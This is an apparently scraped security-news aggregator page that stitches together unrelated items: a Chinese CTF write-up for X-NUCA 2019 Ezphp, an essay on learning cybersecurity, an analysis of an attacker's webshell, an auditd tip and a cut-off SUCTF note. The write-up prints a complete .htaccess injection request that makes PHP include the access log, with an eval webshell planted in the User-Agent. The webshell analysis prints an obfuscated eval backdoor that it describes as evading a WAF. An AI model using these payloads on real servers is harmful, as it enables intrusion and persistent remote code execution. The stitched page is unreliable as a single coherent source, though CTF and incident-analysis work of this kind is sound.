Aggregator
Director-General remarks: Select Committee Inquiry into the 2017 General Election and 2016 Local Elections (August 2019)
BUUCTF-writeup - Vicen
190825 reverse-ogeek初赛
X-NUCA 2019 Ezphp题目writeup
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance"); ?> 就是个表面很直白的题,直接丢源码出来,不像某些题要我们自己找源码。 好了,看看代码。首先这个代码上来就删除同目录的文件,然后include一个fl3g.php接着从我们这里接收content和filename参数,在关键字和正则匹配无误之后先再删除同目录文件然后再写入文件。 0x01 完整解题思路 看到删了文件,fl3g.php八成是遭殃了,还有那个Just one change有是什么鬼,似乎是暗示我们必须得一下拿到flag不然flag就被删了。在这里我卡了很久,要读到flag必须得从index.php打进去,而一访问这个index.php是先删文件再管我的参数的。我又不是NSA,没有什么Apache 0day可以打进去。 后来我重新申请个环境,在我点进去之前先访问fl3g.php,发现根本就是404,排除恶趣味主办方把这个php伪装成404的极端情况,这个题的fl3g就他妈是个幌子,I'm angry!
不管怎么说先拿到shell进去一看究竟,我成功地写入了php,但是发现是这个样子的
也就是说这个PHP无法被解析,一下就会想到.htaccess文件的问题,那我们需要先测试下.htaccess能否被覆盖掉,于是上传一个空的上去,服务器马上500了,说明我们对服务器是有影响的。那为什么会有问题导致直接500呢?那是因为输出内容被加上了\nJust one chance,导致.htaccess语句不合法最后服务器出错。 现在我们需要想办法让.htaccess合法。第一个思路是加上注释把这句话注释掉,但是Google了一阵之后发现htaccess大约真的不支持多行注释并且一出错整个服务器就500,看起来注释着一条路走不通。那换一条路径,看看这个htaccess支不支持多行数据呢?抱着这样的想法,我搜索了关键字htaccess multiple line发现真的可以,并且不要求最后什么引号闭合就可以搞。就这样我们可以成功构造htaccess文件了。
我最开始的思路是修改htaccess文件来要求解析php但是发现并不奏效,除了htaccess还有一种神秘力量在阻止我的php执行,我不得不另寻它途。但这些尝试也不是毫无收获,我发现了对content的限制是针对htaccess里面的关键字限制的(尽管可以用空行绕过),侧面证明了题目就是要考察htaccess的利用。
那我一点一点地翻着文档,花了非常长的时间从Apache的官方文档到PHP的官方文档,最后终于找到了一个近乎后门的PHP变量auto_prepend_file,这个变量让我们指定一个路径
,在解析其它PHP的时候先从这个变量指定的目录读取并执行PHP。好了我们需要再找一个文件来包含就可以拿到shell了!
目前的方法有两个,一个是利用/var/log/apache2/access.log这里的access.log然后我在我的User Agent里面加入木马然后包含,还有一个是直接在.htaccess里面的注释里面写入马。比赛的时候我采取的是第一个方法因为我笨,不过至少事实证明这个方法居然还是可行的。最开始的尝试是写入一句话木马,然后通过index.php连接,但是每次index.php都会清理掉我的htaccess,所以这个方法有瑕疵。于是我直接用了php反向连接马来连接我的Vultr辣鸡服务器,最后拿到shell。有个细节需要注意,由于htaccess会把双引号转义,而且还有些奇怪的问题,所以用base64编码,单引号括上,解码eval就可以了
最后的payload如下
GET /?content=%53%65%74%48%61%6e%64%6c%65%72%20%22%61%70%70%6c%69%63%61%74%69%6f%5c%0a%6e%2f%78%2d%68%74%74%70%64%2d%70%68%70%22%0a%70%68%70%5f%76%61%6c%75%65%20%65%6e%67%69%6e%65%20%22%4f%5c%0a%6e%22%0a%70%68%70%5f%76%61%6c%75%65%20%64%69%73%70%6c%61%79%5f%65%72%72%6f%72%73%20%31%20%0a%70%68%70%5f%76%61%6c%75%65%20%20%22%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%22%20%20%2f%76%61%72%2f%6c%6f%67%2f%61%70%61%63%68%65%32%2f%61%63%63%65%73%73%2e%6c%6f%67%0a%70%68%70%5f%76%61%6c%75%65%20%6c%6f%67%5f%65%72%72%6f%72%73%20%31%0a%53%65%74%45%6e%76%20%71%71%71%78%78%20%22%61%5c&filename=.htaccess HTTP/1.1
Host: f033deae00f84c159aa539ca6f43163929c36777a4db4b2e.changame.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: <?php eval(base64_decode('为了简洁我删掉了')); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
如何去挖掘物联网环境中的高级恶意软件威胁
Collision Course: Keeping Up With Digital Complexity in an App-Enabled World
What Are Security Controls?
网络安全学习方法论之体系的重要性
——Micropoor
古人半部论语治天下,读书考功只须熟读四书,而四书加起来不过区区5万字。可见网络安全学习知识体系的建立是重中之重。
古人将一个职业划分为7个阶段,既:
- 奴:自愿和靠人监督的人
- 徒:能力不足,肯自愿学习的人
- 工:老老实实,按规矩做事的人
- 匠:精通一门技艺或手艺的人
- 师:掌握了规律,又能将其传授给他人的人
- 家:有固定的信念,让别人生活的更好的人
- 圣:精通事理,通达万物的人
同样网络安全学习也有10个阶段划,既:
- 问:自愿或靠人监督的人
- 学:能力不足,肯自愿学习的人
- 动:老老实实,按课本或教学实践的人
- 记:记录每次实践或学习心得体会并总结的人
- 体系:建立适合自己的体系,并能把知识碎片化结合到自我体系的人
- 问:体系建立后,重新归纳更新知识,并体系重新结构化的人
- 分享:掌握了规律,又能将其传授给他人的人
- 带团队:有固定的信念,带领团队或集体形成合力的人
- 授业:可以传授道理、教授学业、解答疑难问题,指路人。
- 育才:培养出比自己优秀和强大的人
只有体系化的知识结构才能教导你思考问题、引导你洞察趋势、指导你展开行动。
什么是体系?
- 体系的本质是碎片化知识点的灵活串联与应用
- 知识体系是基于人而存在的,世上不存在不同的人完全相同的知识体系
什么是知识体系?
- 在我的定义中,知识体系是跟碎片知识相对应的概念,指高度有序的知识集合。也就是说,它由两部分组成:一是大量的知识点,二是有序的结构。
建立体系的过程?
- 整理知识碎片化
- 建立知识框架
- 形成知识体系
- 碎片化知识点纳入体系中
王国维在《人间词话》中说,古今之成大事业、大学问者,必经过三种之境界:
- 昨夜西风凋碧树,独立高楼,望尽天涯路
- 衣带渐宽终不悔,为伊消得人憔悴
- 众里寻他千百度,蓦然回首,那人却在灯火阑处
爱德加·戴尔提出了一套学习模型:模型主要分别为被动学习与主动学习的一个过程。 同时提出,学习效果在30%以下的几种传统方式,都是个人学习或被动学习;而学习效果在50%以上的,都是团队学习、主动学习和参与式学习。
“输出”是最好的学习方式,“输出”的本质是体系重新结构化
这里总结了如下经常碰到的问题,值得每一位网络安全从业人员深思:
- 不知道怎么学?
- 不知道学哪个方向?
- 越学越不会?
- 感觉自己跟不上知识更新的速度?
- 从事网安工作若干年后,感觉遇到技术瓶颈,怎么突破?
- 工具/技术招式越来越多,怎么办?
- 从事管理工作后,没有时间或者精力学习技术怎么办?
方法论结合于实战应用,请参考之前的文章如下:
结语:
在每次分享的同时,深深发现,原来分享,才是我最好的老师。 网络安全亦正亦邪,初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田美池桑竹之属。别在初极狭便放弃这“人间正道”,错过这“土地平旷,屋舍俨然,有良田美池桑竹之属。”,愿每一位读者能找到自己能融合贯通的“武功”,在结合吞噬其他“招式”,如行云流水,石便是器,枝便是剑。
In Conversation: The Women in Network Security
作文:记一次简单的寻人
对另一种变形一句话进行分析
修改Android源码实现原生应用双开,应用多开 - luoyesiqiu
VFIO driver analysis
对某攻击队的Webshell进行分析
对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析,发现⼤部分肉鸡的网站根目录都存在 images.php,提取该文件的内容并分析:
提出较为重要的那一段base64decode后的PHP代码进行分析:
@session_start();//开启session if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));代码逻辑:判断POST请求参数code是否有值,当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'],这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密,最后从加密后的字符串的第36位开始取值(sha1加密后的值为40位,这里也就是取后4位),当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code'](Why?&&是逻辑与操作,如果&&的前面为false了,后面的就不会执行了,所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件),最后进入该代码执行:if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));,代码如此简单就不再重复描述~
为了满足条件(substr(sha1(md5($_POST['a'])),36)=='222f'),我们可以采用钓鱼的方式等攻击方人员主动上钩(修改images.php即可):
当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。
但此方法较为被动,我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文:
获得了:abc123000、lipeng520、160376这三个密码,可利用密码对其他的肉鸡再次进行反打。
代码样本:(测试可过安全狗)
<?php $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n'; $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));'); $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7'); ?>Announcing the Microsoft Edge Insider Bounty
没有被JS程序员坑过的后台不是好的架构师
TRICK: Linux Auditd审计工具
难题:/home/chen/test/目录下的index.html为首页文件,一直被入侵者恶意篡改
需求:想要定位攻击方式以及篡改方式
命令:auditctl (安装:sudo apt install auditd)
参数:
-w 监控文件路径 -p 监控文件筛选 r(读) w(写) x(执行) a(属性改变) -k 关键词(用于查询监控日志)运行:sudo auditctl -w /home/chen/test/index.html -p w -k index,等待二次篡改
过程发现被篡改执行:sudo ausearch -i -k index 查看日志
type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index了解该日志的格式:
syscall : 相关的系统调用 auid : 审计用户ID uid 和 gid : 访问文件的用户ID和用户组ID comm : 用户访问文件的命令 exe : 上面命令的可执行文件路径这里的syscall可以理解为是执行的动作,那么这段日志就非常容易理解了:用户chen使用gedit rename了该文件(重命名)
那么syscall是什么代表着编辑文件内容呢?(篡改)
测试gedit打开文件、编辑文件内容、保存文件,有三条日志:
type=SYSCALL msg=audit(08/20/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=indexsyscall分别为:openat、openat、rename,但注意到第一个openat的日志中的success等于no
也就是说我们可以理解日志中出现syscall=openat即有人在修改文件,那么查看日志的命令就可以变成:
sudo ausearch -i -k index | grep 'syscall=openat'
END:定位到了用户、进程就可以继续跟踪了。
第三十七期 电子数据鉴定的注意事项
SUCTF 2019 web partial wp
.user.ini 上传绕过,GIF89a 绕过图片检测。
可参考 GHOST_URL/file-upload/#user.ini-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6
easyphp Brief desc打开页面,已经给出了源